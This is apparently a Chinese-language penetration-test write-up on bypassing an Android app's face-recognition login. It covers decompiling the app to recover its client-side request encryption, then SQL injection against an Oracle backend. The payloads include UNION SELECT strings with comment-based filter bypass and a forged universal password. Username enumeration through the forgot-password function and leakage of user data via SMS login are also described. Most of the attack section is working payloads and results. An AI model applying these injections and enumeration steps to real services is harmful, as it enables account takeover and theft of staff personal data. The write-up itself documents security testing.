App滲透 - 人臉識別登錄繞過

打開APP是一個登錄框

抓包后發現參數被加密了

使用Jadx脫源碼發現，并沒有加殼也沒有混淆，運氣很好

根據經驗，先搜索Encrypt、Decrypt等關鍵字，發現在Common.js中有一個encryptData函數

定位過去，一套加解密算法都寫好了放在這

放到瀏覽器console里面調試，果然沒錯

首先測試了一下注入

明文：{"userName":"TEST'","password":"123456","osType":"Android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果：App返回異常

明文：{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果：App返回正常

明文：{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果：App返回正常

至此已經可以判斷該登錄點就是一個注入了，可是返回結果始終都是“用戶名或密碼錯”即使用了' or '1'='1

根據返回結果推測，后端的登錄處的邏輯代碼可能是這樣的

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
    return 'Login success';
}else{
    return 'Login failed';
}

通過Union注入構造萬能密碼，是可以造成任意用戶登陸的，測試過程如下
先使用order by測試，得知字段的數量為9個，構造payload

# 由于目標服務器帶有過濾，所以這里簡單的bypass一下
明文：{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果：App返回成功

由于Oracle在進行union查詢時，所對應的字段數據類型也必須相同，所以還要進行字段數據類型的測試，最終結果如下

# 注意這里passWord我修改成了123，用來測試Union構造的萬能密碼是否可行
明文：{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果：提示是弱密碼（說明此方法可行）

接下來就是一個字段一個字段的改過去，判斷哪個字段對應的是密碼字段，測試結果如下

# 注意這里passWord我修改成了Ceshi123@@@，不再是弱口令了
明文：{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果：提示登錄成功

在繞過后，發現程序出現了異常

仔細觀察返回的數據，其中有username（用戶名）、staffId（職工號）、email（郵箱）、staffName（姓名）、tel（手機號）、mobile（手機號），然而這些數據都是我剛剛自己隨便構造的，這里應該需要一個真實的用戶信息，供后續的登錄流程使用

好在，還是有一個地方能獲取真實的用戶信息的
App還有一個忘記密碼的功能（通常這里可以爆破用戶名）

利用忘記密碼的功能可以判斷用戶名是否存在，這里隨便跑了一下字典，就出來好多用戶名

自然而然地利用這些用戶名使用短信驗證碼登錄

獲取驗證碼，然后解密數據包，驚奇的發現返回了用戶基本信息

根據登錄返回結果，重新測試payload，最終結果如下

明文：{"userName":"TEST'union/**/select/**/<staffId>,'Qwe123@@@','<userName>','Qwe123@@@','<mobile>','<mobile>','<email>','865166023309431',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：xxxxxxxxx
結果：提示登錄成功